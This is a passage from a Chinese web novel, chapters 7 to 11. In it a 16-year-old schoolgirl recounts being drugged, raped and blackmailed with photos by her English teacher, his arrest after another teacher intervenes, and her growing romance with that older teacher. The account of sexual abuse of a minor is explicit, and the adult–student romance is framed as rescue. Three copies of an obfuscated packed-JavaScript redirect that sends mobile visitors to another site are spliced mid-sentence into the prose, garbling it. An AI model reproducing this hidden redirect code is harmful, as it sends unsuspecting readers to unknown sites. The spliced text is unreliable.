“嗯！”我开心的说，“我会加油的！等我考上大学，我要去北京找你！” “呵呵，好。”唐盛夏笑着说。 7. 第七章 巷子 唐盛夏说过：当依赖成为习惯，那么也是你即将面对毁灭的时刻，一时的懈怠，换来的始终是更大的灾难…… 当时，我不以为然。 星期一的清晨，我决定再不逃避。唐盛夏说的没错，我所做的一切都是为了自己，如果不能有足够强大的羽翼，就永远也无法离开这个灰色的世界。岚城窒息的空气和那些人，无以复加的给我带来伤害，如果想要重新开始，就要去一个谁都不认识我，谁都不知道我过去的地方。“学习，是通往幸福最简单的捷径！” 讲台上，姓刘的胖子用他尖锐的嗓音带着全班读着浓厚西北口音的英语，上过了唐盛夏的课再回到刘老师的课，就愈发无法忍受。有心学习的人自己干着自己的事情，放弃学习的人已经睡的死去活来。 我在最后一排聚精会神的听着刘老师讲语法，虽然是照本宣科，但是我依旧强迫排除杂念仔细听着。 晚自习时，我仔细的做着作业，李韵也好奇我究竟是为什么突然下定决心好好学习，对待袁圆的冷嘲热讽也毫不理会。 直到那句话，打破了一切…… “谢妍，刘老师让你去下他的办公室。”英语课代表抱着一叠卷子走进教室时对我说。 刹那间，那些场景又回到了我的脑海里…… 两个月的安逸生活让我忘记了那些事情吗？ 不！！！我只是刻意不去想！！！ 金黄的九月，我抱着万般的不愿来到岚城五中，只是因为英语失利，让我跟目标高中说了拜拜！老爸动用了他一切的关系让我跨区进入了岚城五中，那时我下定决心要在英语上扳回一城。 正如之前提及的，因为我的成绩优异到顶替了袁圆作为新生代表发言；因为我的钢琴等级和美术获奖证书，我代表学校参加许多比赛；也正因为这些，我被老师推荐进入校广播组担任播音员，而我唯一的目的，只是想好好学习英语，克服这项弱势。一个初来乍到的新生如此备受重视，本就在这个纷乱的“五毒中学”是个错误。直到高一第一学期的那次万恶的演讲比赛……感冒、发烧、演讲稿丢失……站在台上，面对着直播的摄像机狠狠的摔倒在地上…… 这就是所谓的“给学校抹黑”…… 之后面对的就是校长点名批评班主任赵老师，扣了她的全年奖金，她自然不会轻易放过我。每天晚自习后被罚站在走廊，星期五原本能够回家的下午也要被罚站到七点才能回家，持续了两周后，那个黑色的星期五，成为了我人生迄今为止最黑暗的傍晚…… 背着书包，还是站在公交车站，碰巧遇见了同样下班回家英语老师刘玮。因为英语的关系，我只要有空就频繁的跑他的办公室，请教那些该死的语法。而他，也是唯一一个没有在演讲失败以后对我冷言冷语的老师。他邀请我上他的车，送我回家，七点多的下班高峰对于背着硕大书包的我的确是够辛苦。 于是就在他殷勤的邀请下踏入了地狱…… 他把车开到僻静的小巷口，不由分说给我嘴上蒙上一块布，我一吸气，便什么也不知道了…… 满是污泥的水泥地，一股股潮湿的恶臭味，赤身裸体的躺在上面，太阳渐渐褪去的灰黄色天空，楼于楼之间这么狭窄，挤的天只有细细的一条。楼，是深灰色的，天空，是灰黄色的，没有阳光，满是阴霾，小巷口隐约传来汽车飞速行驶过的声音和刘老师的粗大的喘息声，我想大喊，可是嘴被袜子塞住，想挣扎，可是全身麻木的没有力气，眼泪疯狂的从眼睛里溢出，我惊恐的看着他，他却满脸通红…… “谢妍，从你第一天入学我就注意到你了。今天总算让我给逮到了，好几次在办公室看见你罚站就想了，可惜太危险。多亏你们赵老师每周罚站你到这么晚我才有机会哈！” 为什么是我！！！！！我绝望的看着他，如果，我能活着离开这个小巷，我一定要他付出代价！！！！ 他站起身来，提起裤子包住肥硕的肉，我恶心的转开头闭上眼睛。 咔嚓！咔嚓咔嚓！ 是闪光灯！ 我睁开眼睛，刘玮拿着照相机在拍照！我下意识的用胳膊护着自己，徒劳，麻药的劲还没过…… “OK！这样就安全了！谢妍，刘老师是个很好说话的人，你只要当今天的事情没有发生，你的生活就会平平淡淡，if，老师是说如果，你有什么打算，后果就是这些照片会出现在学校的板报上。”刘玮笑嘻嘻的说，脸上的肥肉堆在一起，“所以，乖乖的回家，就当什么事情也没发生，这些照片就是老师的私人收藏。” 说完，他把我嘴里的袜子拿出去，穿在了脚上，扬长而去。 他竟如此轻车熟路！！！！ 汽车引擎声越来越小，我努力动动胳膊，想赶紧穿好衣服逃离这里，但是随着胳膊和腿有了知觉时，下身的疼痛感也传达到了大脑。巷口传来了脚步声，听不清楚谈话声，应该是两个女人吧！我努力想撑着自己起来，但是身体好重，重到我无法移动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096342|195622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我竭尽全力想起身看看究竟是什么人来了，我想求救，可是还是发不出声。视线被一个巨大的垃圾桶挡住。脚步声近了，谈话声音越来越大了，可是我还是听不清楚具体内容。终于在垃圾桶上方出现了两个人头，是两个中年妇女，他们的表情从好奇变成了惊恐，“咚”的一声，不知道什么东西掉了。我睁大眼睛看着他们，快救救我！她们却一步步的后退，我急切的想挣扎起来，胳膊和腿已经渐渐能使上力气了！他们先后爆发出的尖叫声伴随着接踵而至离开的脚步声，我才起身看到，原来让这水泥地变得湿乎乎的，是我的鲜血！ 我挣扎着站了起来，可是身上还是传来了麻木的感觉。我废了很大的力气才穿上衣服，衣服被刘玮放在塑料袋上，所以没有弄脏，可是他却弄脏了我…… 我站起身，背起书包，走出巷子。 回到家的时候已经九点多。桌子上是老妈留下的钱，屋子里没有人，他们去应酬了…… 我冲进浴室，打开淋浴拼命的洗澡，想洗掉那些污秽…… 我不想再看到他肥硕的身影，从那以后我翘掉了所有的英语课，可是，翘得掉英语课，翘不掉晚自习，只要是他值班的晚自习后，我总会被他叫到办公室…… 我甚至绝望的想，如果我怀孕，那么就能彻底扳倒他……可是正如学姐们谣传的那样，他在以前的学校搞大过学生的肚子，所以，每次对我他总是很小心…… 我不再上他的英语课，他却给我满分的课堂成绩，班里的同学也开始渐渐不满我的“猖狂”行为，原本就对我心存怨恨的袁圆，被莫名煽动的范雅珍，甚至还有其他同学，终于在侮辱中走完高一第一学期的生活，迎接来了第二学期，我想过自杀，可是我始终是个愚蠢的胆小鬼…… 在无数个夜晚祈祷，祈祷刘老师下地狱，可是约翰的福音从来都没有降临，虔诚的教徒等不到神的拯救却已经堕入地狱，我甚至许诺，只要刘老师死去，我愿意将灵魂卖给撒旦…… 直到高一第二学期开学一个月后，他出了车祸…… 唐盛夏的到来，我深信他是神派来拯救我的天使，他讲课很优秀，全班同学都很喜欢他，那他是否能留下来代替刘老师？我侥幸的想着。可是两个月以来，似乎因为我奢望的太多，要求的太多，不知不觉中习惯了这样的安逸，开始懂得依赖唐盛夏，于是上帝决定收回他的恩惠…… “谢妍！别磨叽了你快去刘老师办公室！”英语课代表不耐烦的催促着。 8. 第八章 英雄 唐盛夏说过：这个世界上，不要相信任何人，因为任何人都没有义务对你负责，包括你的父母，也包括我。 当时，我不以为然 我紧紧握着裤兜里的手机，走出教室。靠着教室门口的墙蹲了下来。我的腿软得已经走不了路了…… 我的身上冒着冷汗，我掏出手机，颤抖着拨通了唐盛夏的电话，除了他，我不知道还能向谁求救，神啊，你能救我吗？ 嘟…… 嘟…… 嘟…… 嘟…… 每一声“嘟”都像凌迟一样折磨着我，你快接电话啊…… “喂？”是盛夏温暖的声音。 “盛夏……救我……”喉咙里似乎有什么东西卡主了我，我哽咽的吐出这几个字。 “妍妍，怎么了？”电话里是盛夏焦急的声音。 “救我……”我害怕的说，我努力瑟缩着身体，紧紧的抱着自己。 “你在哪？” “学校……盛夏……救我……”我语无伦次。 “发生什么事了？” “他回来了……怎么办？”他要我去办公室……我又要回到地狱了，盛夏，救我…… “妍妍，别哭，说清楚，什么了？到底发生什么事了？” “盛夏……救我……” “谢妍，让你来我办公室，你竟然在教室门口打电话！”刘老师的声音在我头顶响了起来。 “刘老师……”下意识的打了一个寒战，手机跌落在地上。 “来，跟老师到办公室，好久没辅导你的英语成绩了，你考得是越来越差了，今天给你特别辅导一下。”他慈爱的说，我万般不愿的被刘老师拉去办公室。 “刘老师，不要……”我恳求他。 “学生不好好学习怎么行？我很担心你的成绩啊。”两个月不见，他似乎又肥了很多。 被他拉进办公室，我瑟瑟发抖的站在门口，他锁上了门，拉上窗帘，把会议桌上的东西推到一边。 “老规矩，脱衣服！”刘老师说完自己脱起衣服。 “刘老师，你放过我吧！”我带着哭腔说。 “两个月不见，老师想死你了，怎么可能放过你呢？”他笑容满面的说，走近我，伸手要拉我的校服拉链。 我用手护住衣服，哀求：“刘老师，您放过我吧！” “别忘了你的照片啊！想不想它被贴在学校里？”刘老师说，“妈的！又不是第一次了，少给老子来这套！” “不要啊！！刘老师！”我被推倒在地，我的衣服…… “你叫吧！今天晚上除了门房大爷，就我一个人值班，上课的班级都在西配楼，东配楼只有咱俩。” 嘭！办公室的门被踹开了。 刘老师紧张的爬起身，向门口张望。 “你？！”刘老师吃惊的说。 我抬起头，唐盛夏吃惊的站在门口，我慌忙抓起衣服遮住自己。 “你！你，你怎么来了？”刘老师慌乱的说。 我用衣服遮住眼睛，我无地自容…… 我闭着眼睛，耳朵里传来碰撞声和刘老师的惨叫声，我不敢看，准确的说我不敢看唐盛夏。 周围渐渐安静下来，我感觉到自己被一双温暖的手环抱住了。 “妍妍，没事了，没事了……”唐盛夏温柔的声音在我耳边响起。 “不……”我摇头，看着他，眼睛里满是泪水，看到的唐盛夏都已经扭曲了，我指着刘老师说，“他有照片……他不会放过我的……” “先穿好衣服，我们去他家。”唐盛夏站起来，转过身去…… 唐盛夏一把拽起倒在地上鼻青脸肿的刘老师，“走！去你家！” “我会告你的！”刘老师捂着被打肿的脸说。 “我也会告你，我不仅告你，还要弄死你！”唐盛夏说。 “你！你敢！”刘老师惊恐的说。 唐盛夏从会议桌上的笔筒里拿出一把美工刀，“不敢，当然不能因为你赔上我自己，但是，我可以先划破你衣冠禽兽的嘴脸，再把你交给警察。” “我有她的照片！如果我公布了，她以后都做不了人！” 唐盛夏把美工刀架在他的人中上，说：“侵犯未成年人，是可以判处死刑的。但是割掉你的鼻子，只是故意伤害吧，哪个重？” “别！别……” “走！去你家！带路！” 学校给单身的老师安排了单人宿舍，而刘老师的单人宿舍就在学校最西边的角落。 “这个，就是你所谓的‘那个事情’？”唐盛夏蹲在火盆边问我。 我点点头，胶片被火溶化后发出难闻的味道，但是这使我心底那最重的一块石头落地了。 “没想过告诉你父母或者报警？”唐盛夏看着倚坐在墙根的刘老师说。 我摇摇头，死死的盯着火焰，要确定那些胶片全部在我眼前被烧成灰烬。 “就是你的懦弱让这种傻逼得寸进尺！”唐盛夏站起来狠狠的踹了刘老师一脚。 刘老师发出哀号声，他努力向墙角挪动着，惊恐的看着唐盛夏。原本就很肥硕的脸被唐盛夏打得肿的更大了。 唐盛夏从口袋里掏出我的手机递给我。 我接过来，似乎给唐盛夏打电话的时候掉在教室门口了，因为刘老师的突然出现……我恨恨的看着他。 “说！还有没有照片了！”唐盛夏狠狠的说。 “没，真没有了。”刘老师头摇的像拨浪鼓。 我又起身翻着他的抽屉，床底，各种我能想到藏东西的地方。 可是从他的垃圾桶里翻出了意外的照片…… 是我和唐盛夏牵手走往学校的照片！是他拍的！ 唐盛夏从我手中夺走照片，愤怒的甩到他头上。“他妈的！原来是你！” “对不起……我只是那天出院向学校报到偶然看见的……对不起……我只是出于愤怒……这个小贱货，不！她趁我不在又勾搭……对不起！”刘老师语无伦次的说。 “妍妍，你先回教室。”唐盛夏压低了声音说。 “可是，照片……万一……”我担心的说。 “回教室，剩下的交给我。” “可是……” “相信我！” 我只能极不情愿的离开这里。 刚推开教室门，晚自习下课铃就响了。 李韵走过来，对我说：“之前唐老师来班里找你，好像挺急的，我们说你去刘老师办公室了，后来见到了吗？” “嗯，见到了。”我点点头。走向自己的座位，简单的收拾了一下书包。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不会人尽皆知的。”唐盛夏冷静的说，“太复杂了，说了你也不懂，总而言之就是警察今天会把他以随便什么罪名带走扣押，然后搜查他家的时候找到那些底片和照片，你放心，你的已经烧掉了，剩下的是他在以前的学校拍的。然后警察会追查那些照片上的人，要求他们对刘玮提出起诉。学校肯定会对这样的老师除名，他以后再也不会纠缠你，因为他怎么说也是无期徒刑，再少，也是十年八年的牢，十年后他肯定找不到你，所以放心。这个事情只要你不说，没有人知道你也会牵涉其中。” “真的会按你说的发展吗？”听了唐盛夏的解释，我问。 “那就走着看呗！你就别瞎操心了。只要你装着没事，没人会察觉的。”唐盛夏打着呵欠说。 “谢谢……”此时我能说的只有这句了…… “不客气，我说过你要相信我的，我怎么能做不到呢？”唐盛夏说，“好了，才五点，睡不着就去窗台上看戏吧！警车轰鸣 ，一定够精彩。”唐盛夏说完挂断了电话。 我走出厕所，一路向宿舍走去的路上，每一个房间都有骚动，大家对清晨突然造访的警车都很好奇。 我推开宿舍门，包小北、曹莉莉和张雅都爬在窗台上张望着，我也凑了过去。 “哎！是刘老师啊！”两个警察扭着刘老师走出大楼，塞进警车里时，曹莉莉说。 “刘老师犯什么事了？”张雅问。 “不知道。”包小北摇摇头。 “哈！是不是因为长得太丑所以被抓了？”不知道是谁，在窗户上大喊着。 整个学生公寓，笑成一片。 9. 第九章 萌芽 唐盛夏说过，再弱小的种子只要被埋进土里就会发芽，但最终能否长成参天大树决定于灌溉它的东西，而最好的灌溉物：一个是爱，另一个，就是恨。 当时，我不以为然。 星期五，唐盛夏果然依照约定来接我，再见到他时，依旧是他的笑容，可是，我却觉得自己如此不堪，甚至不知道应该怎样面对他…… 如果是过去，还能隐瞒，但是，现在的我如同赤裸着站在他面前一样，他深知我的一切，我的肮脏，我的不堪…… 他打开车窗向我招手，明媚的笑容干净的不可思议，尽管他穿着黑色的衣服坐在黑色的车里，但始终他是如同天使般存在的人，我何德何能被他带入天堂？ 我转身跑开，向公交车站跑去，沉重的书包拖着我的身体，背带狠狠的按压着我的肩膀，真是丑陋到无以复加吧！公交车站，正好有辆公交车停在那里，我像看见救命稻草一样快步上去。 口袋里的电话开始震动，一下一下…… 如果只是电话，或许我还有勇气和他说话，可是见面以后却是这样尴尬…… 看着震动的手机，犹豫了很久，还是接通了…… “下车！”唐盛夏在电话里说。“我知道你在想什么，完全没有必要在意那些事情！” “……”他总是知道我在想什么。 “妍妍，相信我，我不是会在意那种事情的人。自从第一次在落河边看见你的时候，我就知道你身上肯定发生了什么可怕的事情，不然你不会那么不计后果的做出那些行为。所以对在你身上发生的残酷事情我早有心理准备，你不要为别人做的错事惩罚自己好吗？妍妍，我说过你可以相信我，你在我的心里无可替代，别去在意那些事情好吗？”唐盛夏的声音很焦急。 无可替代，多好的词啊，我可以一厢情愿的把这看做是告白吗？但这是神的恩惠吧……听上去，心里暖暖的…… “妍妍，我不在乎一个女人是不是处女，而且你所遇到的是不可抗拒的因素，错的不在你！下车，好吗？”唐盛夏似乎在乞求我。 “……” “妍妍，你在我心里永远是那个纯洁的孩子，不要因为姓刘的畜生阻碍了我们的关系好吗？妍妍，下车，好吗？” “什么不计后果的行为？”我偷笑了一下，问。 “妍妍，下车好吗？我就在你身后。” 我打开窗户，探出头，看见唐盛夏的车尾随在公交车的后面，透过车窗，我分明看见了他焦急的神情。 “说啊，什么不急后果的行为？”我强忍着笑意，问。 “那个被你用《哈利波特》打了的倒霉女人，她的鼻子是假的，本来假骨就还没有完全定型她就急着跑来找我，当时被你那书砸过之后，假骨就错位了，直接穿破鼻梁出来了，没把我吓死！所以那次见你，想带你去看看惊悚的场面，你害怕的跑……”手机里的声音嘎然而止，他果然是从那个时候意识到的。“好了，妍妍，下车，我有话要告诉你，关于刘玮的。” 在唐盛夏的车上，他将所有的过程都告诉了我。 我走了以后，唐盛夏翻遍了刘玮家的所有地方，能找的地方都找了，果然翻出了很多底片，果然他也曾经如法炮制的这么对待过其她的学生，而且竟然笨到不知道及时消灭那些照片，竟然真的留下作为私人收藏。唐盛夏担心刘老师会把底片藏在其他地方，于是就给在警察局的朋友打了电话，大体说了事情的经过。刘玮在那天早上被抓以后，警察经过审问，他招了一切，现在警察正在联系底片上的受害女生，要求她们站出来对刘老师进行起诉。当然，我的底片已经都被唐盛夏销毁了。 “谢谢你。”我说，在他身边，就算发生天大的事，也是安全的。 唐盛夏摸摸我的头，说：“一切都明朗了，估计姓刘的后半辈子得在监狱里度过了，所以你一点都不用担心。下个礼拜学校就应该会张贴出他被辞退的公告了。” 车行驶到我家楼下，我跳出车子，跟他挥手告别。 “妍妍，下周就考试了，加油！考不好假期折磨死你。”唐盛夏笑着说。 “是，知道啦！小心开车~”心里的大石头被粉碎以后，整个心情都明朗起来。此时看着傍晚的天空，隐约感受到自己终于能沐浴在阳光下了。 “谢妍。”有人叫我，转过身，是韩槊，站在我家单元门口。 “哎？你怎么知道我家的？”我问。 “我……跟踪……那个人是谁？” “你跟踪我！”我惊呼。 “不是，前几天给你打电话你都不接……所以想来看看你出没出事。”他吞吞吐吐的说，站在我面前的他，似乎尴尬的快风化成石头了。 “的确出了些事情，而且你打来的太晚了，我怕吵到宿舍里的人休息。”借口，只是借口，砸碎了心底最大的石头以后，我已经不想再跟这些事情扯上关系了。重新做人吧！袁圆的事情我也不想计较了，神并没有收走他赐予我的恩惠，现在我已经知足了，所以，肮脏的事情全部打住。 “刚才送你回来的人是谁啊？”韩槊红着脸问。 “这个你就不用管了。” “你男朋友？”韩槊小心翼翼的问。 “还有什么事吗？没事我要回家了。”我说。 “你，怎么这样啊？我很耽误你的时间吗？”韩槊有点生气了，的确是我太无礼了。 “韩槊，你以后再也不要来找我了好不好？也不要给我打电话了。”如果想要在阳光下呆的久一点，就趁早告别那些过去吧！重新开始，就是要回到高中前的我，袁圆也好，范雅娟也好，我已经不想再跟他们牵扯上任何关系了。我要做回曾经的自己。 “为什么？”韩槊有些难过的问。 “我是时候要向自己的幸福努力了，不想再跟那些不美好的记忆有任何牵扯。” “我是你不好的记忆？”韩槊不可思议的问。 “美好吗？我们是因为什么认识的？”我问。 韩槊一时语塞。 “我要回家了。”我向他挥挥手，然后转身向单元里走去。 韩槊一把拉住我的胳膊，恳求的说：“我喜欢你，我们交往好不好？” 我大吃一惊！ 所以，这也就是他接近我的目的？ 我甩开他的手，问：“凭什么？” “凭你关心我。”韩槊急切的说，“你看到我耳朵受伤，我看到你担心我，还带我去医院。” “所以，你喜欢的不是我，是我对你的关心，如果有一天我收回我的关心，那你还喜欢我什么？你长得那么帅，要关心你的人多的很，不用从我身上找啊。而且，你连你自己都照顾不好，我凭什么跟你交往？”我挑衅的说，语言就是武器，当我拔剑时，才会离开。 “我能保护你，如果你被人欺负，我会站出来保护你！”韩槊焦急的说。 “保 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“对！他能保护我。他会第一时间为我赶到，他会细心的体察到我的难堪，更会不顾一切的拯救我。”但是，这份心意，只是我一厢情愿的认为是爱情。 “但是他多老！”韩槊激动的说。 “所以他安全。只是因为能关心你就轻易喜欢上的心情，说明了你也是一个需要人照顾、关心的人，你和我都这么不成熟，凭什么谈爱？好了，我再不回家，我妈该骂我了。” 我没等他回答，向楼上跑去。 人是不能太贪心的，因为贪心的背后总是藏匿着危险，我深知这个道理。如果神已经赐予了我恩惠，我的欲望再无限膨胀，那就太苟且了。我以我的肮脏迎接了神的恩惠，虽然不能重新回到纯洁无暇，但至少，我不希望自己再肮脏下去了。我想在明媚的阳光下沐浴的久一点，久违的阳光啊，请你不要那么快离开我，好吗？ 希望这个明媚的夏天，会创造出美好回忆…… 周日，《岚城日报》上登出了刘玮的新闻： 高中教师涉嫌猥亵至少9名学生 本报讯 6月21日，岚城市落河北区某高中高一英语老师刘某，涉嫌猥亵未成年人，现已被警方抓捕。 据匿名举报人称，该英语老师在长达五年的时间里猥亵的少女多达数人，前后跳槽三所学校，并且拍摄了被猥亵少女的裸照留存家中，以此要挟受害人不得报警，目前警方从刘某家中搜出裸照底片和照片涉及9名未成年人。案件正在进一步调查取证中。 昨日，记者在该校校长办公室发现刘某的师德学习心得体会。刘某写道：学高为师，德高为范，身正为范。然而，校方一些老师在提及刘某时表示：“这是教师队伍的耻辱，为有这样的同事感到丢人。” 据闫校长介绍，刘某是本地人，现年45岁。事发后，校方一直积极配合警方调查，学校老师在得知刘某的行为后都感到丢人，不愿提及此事。 事发后，校方以书面形式上报教育局纪检，纪检人员表示：教师队伍绝不容留这样的人存在，拟将其开除出教师队伍。 昨日，当地派出所负责人表示，目前正积极配合公安局刑警队对案件展开进一步调查。并表示要找到照片涉及的9名受害人，要求他们对刘某提出诉讼，以法律制裁他的肮脏行为。 我丢下报纸，长长的舒了一口气。 海阔天空了…… 10. 第十章 禁断 唐盛夏说过：人，是自己本身的目的自己中有一种无限的价值、一种永恒的使命。我对你，就是如此。 当时，我不以为然。 岚城的天空是灰色的，铁一样的灰，如果在那之前，我会觉得这是阴霾，但是现在看来，是最适合我的天空。我不配拥有湛蓝的天空，那是神赐予纯净的人的礼物，岚城浅灰色的天空，正合适…… 尽管一年四季天都是灰蒙蒙的，但是丝毫不影响阳光照射进这里，原本就是四面环山的岚城，任何时候都不会刮起大风。 六月末，唐盛夏又回到了学校，因为学校找不到临时的英语代课老师，只能重新拜托他。唐盛夏的回归是众望所归，全校的学生都炸开了锅。似乎大家也淡忘了那些传言，如果他能一直教下去就好了，直到我毕业，该有多好…… 中午，我和李韵在教学楼的楼顶吃面包，食堂里爆满的人群总是让人有莫名奇妙的烦躁，比起沐浴在六月艳阳下安静的楼顶，一个是地狱，一个是天堂。 “呐，妍妍，我爸妈听说刘老师的事情以后，一直要求我转学，说咱们学校的校风实在太差了，老师都能做出这么卑鄙的事情。”李韵咬着面包说。 “是啊，有辱师德。” “你觉得刘老师会不会对咱们学校的谁也做过那种事情？”李韵好奇的问。 “不知道哎~”我悻悻的说。 “真卑鄙！□□了学生还拍照要挟，真恶心……想想他那一身肥肉，恶……”李韵干呕了一下。 我也不经打了一个寒战，感觉全身所有的毛孔都收缩了一下…… “不过也挺好啊，不是因为他滚蛋，唐老师也回不来呢！”我转移了话题，再说下去，我恐怕就要崩溃了。 “对呀对呀~”李韵开心的说，“哎？不过，他不是那会已经向学校提出有私人事情，不干了，为什么晚自习的时候又会回学校找你啊？” 我一时不知道怎么回答，“啊，他手里有我的作业，没批改完。”这个谎言真假。 “作业？不会为那种事情这么着急吧！”李韵狐疑的看着我，“而且，那天你去了刘老师的办公室，为什么刘老师刚出院就急得叫你去办公室啊？” “他担心我的英语成绩……”面包在我手里已经被揉成面包渣了，我该怎么说啊！ “妍妍，我们是朋友吗？”李韵认真的看着我，这应该是她猜想了很多天以后才下定决心问的吧。 我闭上眼睛，狠狠的咬着嘴唇，指甲深深的陷入掌心的肉里。 “我们是好朋友，你为什么要跟我保密呢？你不相信我？”李韵有点悲伤的说，”你从来什么都不跟我说，总是微笑的看着我，有时候看着这样的你，我都不知道你到底是真笑还是假笑。” 我靠着墙边慢慢蹲下，我的腿软了，我知道李韵接下来说的话，会让我崩溃…… 李韵继续说，她总是这样，有时候在她身边可以完全不在意她在说什么，她总能喋喋不休，我觉得这就是我跟她成为朋友的原因，因为我不用小心的应付她的态度，可是，今天她的话，却狠狠的抽打着我。 “上次范雅珍的生日也是，我觉得你朋友很少，所以叫你去，希望大家能做好朋友，可是去了我才知道，原来她们是要整你，可是你从来都没跟我说过你们不合，当时你离场以后，你不知道我有多难过，本以为你会再见到我的时候责备我，可是你竟然一副什么都没发生的样子，妍妍，你真的把我当朋友吗？我总觉得你遇到难处的时候我能为你站出来，是因为我们是朋友。可是你，从来什么都不跟我说。你跟范雅珍是敌人我是最后一个知道的，你跟唐老师的传言我也是最后一个知道的，为什么关于你的事情我总是最后一个知道的？！你从来都不把我当做朋友吗？”李韵有点歇斯底里。 “李韵，别说了。”我乞求着。 “妍妍，你究竟把我当做朋友吗？还是因为觉得自己总是一个人，需要一个人陪，恰好我就是那个陪着你的人？”李韵说。“我希望你能告诉我你究竟发生了什么事？为什么晚自习那天你回来的时候头发那么乱？之后回宿舍的路上总是不住的向刘老师的宿舍那边张望？然后第二天警察就来了，你是不是知道什么？还是……？”李韵说到这里，嘎然而止。 “别说了！”我捂住耳朵，大喊。 “这是真的吗？”李韵蹲下来，小心翼翼的问。 无地自容，就是这样吧！每个人心里都有一块黑暗的地方用于藏匿我们的伤疤，可是我们越是想隐藏这些伤疤，有些人却越好奇的要翻开它，不仅如此，还要看清楚它的血肉构成，甚至问清楚每一刀是怎么划上去的，每一滴血是怎么留下来的，你要怎样？往别人的伤口上撒盐吗…… 我推开李韵，向宿舍跑去。 我裹在被子里，不留一点缝隙，为什么在我终于能沐浴阳光的时候，却总是会有人把我重新打回地狱！知道了这些事又能怎样？知道了肮脏的我又能怎样？昭告天下？还是，要折磨死我！！！！ 我翻开手机，给唐盛夏打电话，怎么办？如果李韵说出去，怎么办！ “盛夏，李韵知道了……”我绝望的说。 “怎么回事，详细跟我说。”唐盛夏冷静的说。 我把事情的经过事无巨细的说了一遍。 唐盛夏沉默了一会，说：“现在回教室，下午乖乖上课，一副什么都没发生的样子，如果李韵问起来，你就说你肚子疼跑开了。” “太假了……”我说。 “剩下的事情交给我。” “可是……” “相信我。” 唐盛夏似乎总是对我说这句话。 下午回到教室的时候，李韵对我不理不睬，似乎她很不高兴。我惊讶于她的理所当然，窥探别人的隐私却拿着“朋友”二字作为通行证，探究失败后，竟然还有理由生气。我摇摇头，叹了口气，这究竟是什么世道。 晚自习的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096345|195622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，李韵被唐盛夏叫到办公室，直到晚自习下了，她也没回来，我向宿舍走去的路上，收到了唐盛夏的短信。 “放心，一切OK！” 唐盛夏究竟跟李韵说了什么？算了，只要她不诏告天下，就足以了。 7月9日，星期五。 成绩发放，明天开始就正式开始放暑假了。 唐盛夏依旧载我回家。 在车里，唐盛夏看到我的成绩后，还算满意。 “比我想象的稍微好点。”唐盛夏点着头说。 “那作为奖励，下个礼拜一，你带我去游乐园吧！” “不去。” “疯狂的玩一天嘛~然后就投入补习炼狱。”我说。 “不去，我都是块奔三的人了，干嘛要陪一个小萝莉去游乐园啊。”唐盛夏别扭的说。 “我才不是小萝莉呢！萝莉是十二岁以下的小孩！我都十六了！”我不高兴的说，真讨厌唐盛夏总把我当做小孩…… “我比你大十岁哎！已经不去游乐园很多年了！”唐盛夏无奈的说。 “去！” “不去！” “去！” “不去！” “去！” “不去！” …… “去！” “不去！” “去！” “不去！” “不去！” “去！” “那说定了啊~”我开心的说。 “你！”可惜唐盛夏在开车，不然他会冲过来掐死我吧~哈哈！ “说话算话啊！你说的，让我相信你！”我吐吐舌头。 “好吧……”唐盛夏无奈的说。 到我家小区门口，我开心的打开车门跳下去，对着唐盛夏说：“算约会哦~”然后关上车门，向他挥手告别。心都要飞起来了，却想努力抑制上扬的嘴角。 “不是！”唐盛夏从车窗探出头，“是奖励！” “约会~”我做了个鬼脸，向家里跑去。 那个时候，我一点都不怀疑唐盛夏为什么要对我这么好，为什么对我提出的条件总是顺从，为什么总是温柔的叫我“妍妍”，甚至，我连想都没想过，只是单纯的认为他是神的恩惠…… 跑到我家楼下的时候，又看到韩槊站在那里，依靠着墙壁，白色的衣服有点脏了。 “你怎么又来了？”我有点不高兴的问。 “谢妍，我会强大起来的，我一定能保护你！”韩槊笃定的说，看他的神情，似乎下定了什么决心。 “我不用你保护。”我说。 “谢妍，给我这个机会好吗？”韩槊恳求的说，“我会缩短让你不安的时间。” “你要说什么？”我问。 “谢妍，相信我！”韩槊说完，跑开了。 他专程而来就是说这个事情吗？无聊。 但是，似乎有什么地方感觉不对…… 11. 第十一章 约会 唐盛夏说过：有人比喻,幸福，就如同手中的沙粒，握的越紧，流逝的越快,但是，握住了，就算流逝的再快，最后也会剩下一些,如果不握住，风一吹，便什么都没有了…… 当时，我不以为然。 “天气预报说，星期一有雨，怎么办？”我拿着电话，跟唐盛夏说：“如果下雨，我们就改去看电影怎么样？正好我们可以去看《十面埋伏》……” “如果下雨，就不去了。”唐盛夏打断了我的话。 “哎？为什么？” “毕竟我现在是老师，和你去游乐园如果被看见的话，不太好。”唐盛夏的语气有些犹豫说。 “我可以打扮的成熟一点，然后化化妆，把头发披下来什么的！”我急切的说。 “如果下雨，就不去了。”他没有理喻我的辩解。 “星期一一定不会下雨的！”我赌气地挂掉了电话。 现在想来，跟盛夏在一起，一切似乎什么都会变得很顺利…… 星期一果然是晴天！ 爸妈七点半离开家，我拉开窗帘，依旧是岚城特有的晴朗灰色天空，前一天晚上跟唐盛夏约好，如果不下雨，十点在游乐园门口见。 